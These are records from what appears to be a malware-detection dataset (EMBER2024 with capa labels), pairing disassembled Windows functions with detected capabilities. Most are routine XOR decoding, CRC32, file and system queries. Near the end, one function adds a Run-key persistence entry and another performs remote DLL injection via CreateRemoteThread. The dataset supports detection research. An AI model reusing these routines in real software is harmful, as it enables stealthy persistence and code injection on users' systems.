joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bea24
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
add esp, 0xfffffbf0
mov dword [esp], edx
xor eax, eax
lea edx, [ecx + 1]
cmp edx, 1
jl 0x4bead7
xor ebx, ebx
lea esi, [esp + 0x10]
mov eax, ebx
mov ecx, 8
test al, 1
je 0x4bea5c
shr eax, 1
and eax, 0x7fffffff
xor eax, 0xedb88320
jmp 0x4bea63
shr eax, 1
and eax, 0x7fffffff
dec ecx
jne 0x4bea4a
mov dword [esi], eax
inc ebx
add esi, 4
cmp ebx, 0x100
jne 0x4bea43
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0
mov ebx, edx
dec ebx
test ebx, ebx
jl 0x4bead1
inc ebx
mov ecx, dword [esp]
movzx esi, byte [ecx]
mov eax, dword [esp + 8]
and eax, 0xff
xor esi, eax
mov eax, dword [esp + esi*4 + 0x10]
cdq
push edx
push eax
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
shrd eax, edx, 8
shr edx, 8
and eax, 0xffffff
xor edx, edx
xor eax, dword [esp]
xor edx, dword [esp + 4]
add esp, 8
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
inc ecx
dec ebx
jne 0x4bea8f
mov eax, dword [esp + 8]
not eax
add esp, 0x410
pop esi
pop ebx
ret

Function at 0x4c2740
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, edx
push esp
push 0x14
push eax
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov edx, ebx
lea eax, [esp + 4]
call fcn.004096c4
add esp, 0x104
pop ebx
ret

Function at 0x4c2774
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x105]
call fcn.004096c4
mov esp, ebp
pop ebp
ret 4

Function at 0x4c2964
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4c29dc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4c29c6
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4c29a9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c29e3
lea eax, [ebp - 4]
call fcn.004041f4
ret
Function at 0x4c4c38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4c4cb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4c4c9a
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4c4c7d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c4cb7
lea eax, [ebp - 4]
call fcn.004041f4
ret

Function at 0x4c7394
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4c740c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4c73f6
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4c73d9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c7413
lea eax, [ebp - 4]
call fcn.004041f4
ret

Function at 0x4c741c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4c7494
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4c747e
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4c7461
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c749b
lea eax, [ebp - 4]
call fcn.004041f4
ret

Function at 0x4c9bfc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4c9c7f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.00402d48
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x4c9c98
mov edx, ebx
call fcn.00404500
mov eax, dword [ebp - 0x24]
call fcn.004046b4
mov dword [ebp - 0x16], eax
mov eax, 0x4c9c9c
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], 0x14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c9c86
lea eax, [ebp - 0x24]
call fcn.004041f4
ret
Function at 0x4ca658
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov dword [ebp - 4], 0xff
mov ebx, 0x4ca694
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x103]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4ca688
lea ebx, [ebp - 0x103]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4ca6b8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4ca748
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004041f4
mov eax, dword [ebp - 4]
call fcn.004044b4
test al, al
jbe 0x4ca732
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.004043dc
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.004044bc
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x4ca6f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ca74f
lea eax, [ebp - 0xc]
call fcn.004041f4
ret

Function at 0x4ca758
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4ca84f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x23456789
push 0x34567890
lea eax, [ebp - 8]
push eax
mov ecx, 0x12345678
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004ca6b8
lea eax, [ebp - 0xc]
call fcn.004041f4
lea eax, [ebp - 0x10]
call fcn.004041f4
mov eax, dword [ebp - 8]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4ca7ef
mov ebx, 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + ebx - 1]
shl eax, 8
xor eax, 7
or eax, 5
call fcn.004089cc
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004044bc
inc ebx
dec esi
jne 0x4ca7c7
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004044b4
mov ecx, 0xa
cdq
idiv ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
imul edx, ebx
mov ecx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404714
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.004044bc
inc ebx
cmp ebx, 0xa
jne 0x4ca7f1
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.00404248
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ca856
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404218
ret
Function at 0x4ca96c
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbc0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x424], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4cab34
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004041f4
lea eax, [ebp - 8]
mov edx, 0x4cab4c
call fcn.0040428c
push 0
push 0
push 3
push 0
push 3
push 0
mov eax, dword [ebp - 8]
call fcn.004046b4
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4cab06
xor eax, eax
mov dword [ebp - 0x10], eax
mov ebx, 0xc
lea eax, [ebp - 0x20]
mov byte [eax], 0
inc eax
dec ebx
jne 0x4ca9f3
mov ebx, 0x400
lea eax, [ebp - 0x420]
mov byte [eax], 0
inc eax
dec ebx
jne 0x4caa05
push 0
lea eax, [ebp - 0x10]
push eax
push 0x400
push 0
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x420]
push eax
call sub.kernel32.dll_lstrcpynA_1
push eax
push 0xc
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_lstrcpynA_1
push eax
push 0x2d1400
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_DeviceIoControl
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4cab06
mov ebx, 0x400
lea edi, [ebp - 0x420]
lea eax, [ebp - 0x424]
mov dl, byte [edi]
call fcn.004043dc
mov edx, dword [ebp - 0x424]
lea eax, [ebp - 0x14]
call fcn.004044bc
inc edi
dec ebx
jne 0x4caa66
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
lea edx, [ebp - 0x420]
mov ecx, 0x3ff
mov eax, dword [ebp - 4]
call fcn.004cab60
mov ebx, eax
lea edx, [ebp - 0x428]
mov eax, ebx
call fcn.004089cc
mov eax, dword [ebp - 0x428]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004ca658
mov edx, eax
lea eax, [ebp - 0x42c]
call fcn.004043ec
mov ecx, dword [ebp - 0x42c]
mov eax, esi
pop edx
call fcn.00404500
lea edx, [ebp - 0x440]
mov eax, dword [esi]
call fcn.004be370
lea eax, [ebp - 0x440]
lea edx, [ebp - 0x430]
call fcn.004be3e4
mov edx, dword [ebp - 0x430]
mov eax, esi
call fcn.00404248
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cab3b
lea eax, [ebp - 0x430]
mov edx, 4
call fcn.00404218
lea eax, [ebp - 0x14]
call fcn.004041f4
lea eax, [ebp - 8]
call fcn.004041f4
ret
Function at 0x4cab60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
add esp, 0xfffffbf0
mov dword [esp], edx
xor eax, eax
lea edx, [ecx + 1]
cmp edx, 1
jl 0x4cac13
xor ebx, ebx
lea esi, [esp + 0x10]
mov eax, ebx
mov ecx, 8
test al, 1
je 0x4cab98
shr eax, 1
and eax, 0x7fffffff
xor eax, 0xedb88320
jmp 0x4cab9f
shr eax, 1
and eax, 0x7fffffff
dec ecx
jne 0x4cab86
mov dword [esi], eax
inc ebx
add esi, 4
cmp ebx, 0x100
jne 0x4cab7f
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0
mov ebx, edx
dec ebx
test ebx, ebx
jl 0x4cac0d
inc ebx
mov ecx, dword [esp]
movzx esi, byte [ecx]
mov eax, dword [esp + 8]
and eax, 0xff
xor esi, eax
mov eax, dword [esp + esi*4 + 0x10]
cdq
push edx
push eax
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
shrd eax, edx, 8
shr edx, 8
and eax, 0xffffff
xor edx, edx
xor eax, dword [esp]
xor edx, dword [esp + 4]
add esp, 8
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
inc ecx
dec ebx
jne 0x4cabcb
mov eax, dword [esp + 8]
not eax
add esp, 0x410
pop esi
pop ebx
ret

Function at 0x4cb190
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, eax
mov byte [ebp - 1], 0
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov eax, ebx
call fcn.004046b4
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4cb242
xor eax, eax
push ebp
push 0x4cb23b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, 2
call fcn.004cb124
push eax
xor eax, eax
call fcn.004cb124
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x4cb208
mov eax, 2
call fcn.004cb124
cmp eax, dword [ebp - 0xc]
je 0x4cb20c
xor eax, eax
jmp 0x4cb20e
mov al, 1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x4cb224
mov eax, ebx
call fcn.004046b4
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cb242
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4cb24c
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4cb384
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
mov edx, 0x104
call fcn.00404840
push 0x104
lea eax, [ebp - 8]
call fcn.0040470c
push eax
push 0x4cb398
call sub.kernel32.dll_GetEnvironmentVariableA
mov edx, eax
lea eax, [ebp - 8]
call fcn.00404840
mov eax, dword [ebp - 8]
call fcn.004044b4
test eax, eax
jle 0x4cb366
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d48
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x210
push 0
push 0
push 0
push dword [ebp - 8]
push 0x4cb3a8
push ebx
push 0x4cb3b8
push esi
lea eax, [ebp - 0x60]
mov edx, 5
call fcn.00404574
mov eax, dword [ebp - 0x60]
call fcn.004046b4
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4cb366
xor eax, eax
push ebp
push 0x4cb35f
push dword fs:[eax]
mov dword fs:[eax], esp
push edi
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
setne byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cb366
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cb38b
lea eax, [ebp - 0x60]
call fcn.004041f4
lea eax, [ebp - 8]
call fcn.004041f4
ret

Function at 0x4cb3bc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004046b4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4cb3d9
and eax, 0x10
cmp eax, 0x10
je 0x4cb3dd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x4cbcc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4cbd50
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004041f4
mov eax, dword [ebp - 4]
call fcn.004044b4
test al, al
jbe 0x4cbd3a
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.004043dc
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.004044bc
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x4cbcfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cbd57
lea eax, [ebp - 0xc]
call fcn.004041f4
ret

Function at 0x4cbd60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4cbe57
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x23456789
push 0x34567890
lea eax, [ebp - 8]
push eax
mov ecx, 0x12345678
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004cbcc0
lea eax, [ebp - 0xc]
call fcn.004041f4
lea eax, [ebp - 0x10]
call fcn.004041f4
mov eax, dword [ebp - 8]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4cbdf7
mov ebx, 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + ebx - 1]
shl eax, 8
xor eax, 7
or eax, 5
call fcn.004089cc
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004044bc
inc ebx
dec esi
jne 0x4cbdcf
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004044b4
mov ecx, 0xc
cdq
idiv ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
imul edx, ebx
mov ecx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404714
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.004044bc
inc ebx
cmp ebx, 0xc
jne 0x4cbdf9
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.00404248
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cbe5e
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404218
ret

Function at 0x4ce170
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.004096c4
add esp, 0x108
pop ebx
ret
Function at 0x4d1468
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4d14e0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4d14ca
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4d14ad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d14e7
lea eax, [ebp - 4]
call fcn.004041f4
ret

Function at 0x4d48ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x4d4924
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404248
mov eax, dword [ebp - 4]
call fcn.004044b4
mov esi, eax
test esi, esi
jle 0x4d490e
mov ebx, 1
mov eax, edi
call fcn.0040470c
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4d48f1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d492b
lea eax, [ebp - 4]
call fcn.004041f4
ret
Function at 0x62fc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x62fc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x62fc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x62fc132c
mov eax, 1
jmp 0x62fc1331
mov eax, 0
leave
ret

Function at 0x62fc1333
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x62fc1382
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x62fc14e4
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x62fc13bb
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x62fc14e4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x62fc1471
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x62fc14e4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x62fc14d3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x62fc14e4
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x62fc1554
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret